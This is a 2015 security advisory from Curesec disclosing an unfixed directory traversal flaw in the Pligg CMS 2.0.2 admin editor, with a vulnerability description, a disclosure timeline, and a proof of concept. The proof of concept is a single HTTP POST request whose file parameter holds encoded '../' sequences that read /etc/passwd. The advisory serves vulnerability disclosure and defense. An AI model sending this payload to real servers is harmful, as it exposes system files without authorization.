Security Advisory - Curesec Research Team 1. Introduction Affected Product: Pligg CMS 2.0.2 Fixed in: not fixed Fixed Version Link: n/a Vendor Website: http://pligg.com/ Vulnerability Type: Directory Traversal Remote Exploitable: Yes Reported to vendor: 09/01/2015 Disclosed to public: 10/07/2015 Release mode: Full Disclosure CVE: n/a Credits Tim Coen of Curesec GmbH 2. Vulnerability Description The editor delivered with Pligg CMS is vulnerable to directory traversal, which gives an attacker that obtained admin credentials the opportunity to view any file stored on the webserver that the webserver user has access to. Please note that admin credentials are required. 3. Proof of Concept POST /pligg-cms-master/admin/admin_editor.php HTTP/1.1 the_file=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&open=Open 4. Solution This issue was not fixed by the vendor. 5. Report Timeline 09/01/2015 Informed Vendor about Issue (no reply) 09/22/2015 Reminded Vendor of disclosure date 09/22/2015 Vendor replied, issue has been send to staff 09/29/2015 Reminded Vendor of disclosure date (no reply) 10/07/2015 Disclosed to public Blog Reference: http://blog.curesec.com/article/blog/Pligg-CMS-202-Directory-Traversal-81.html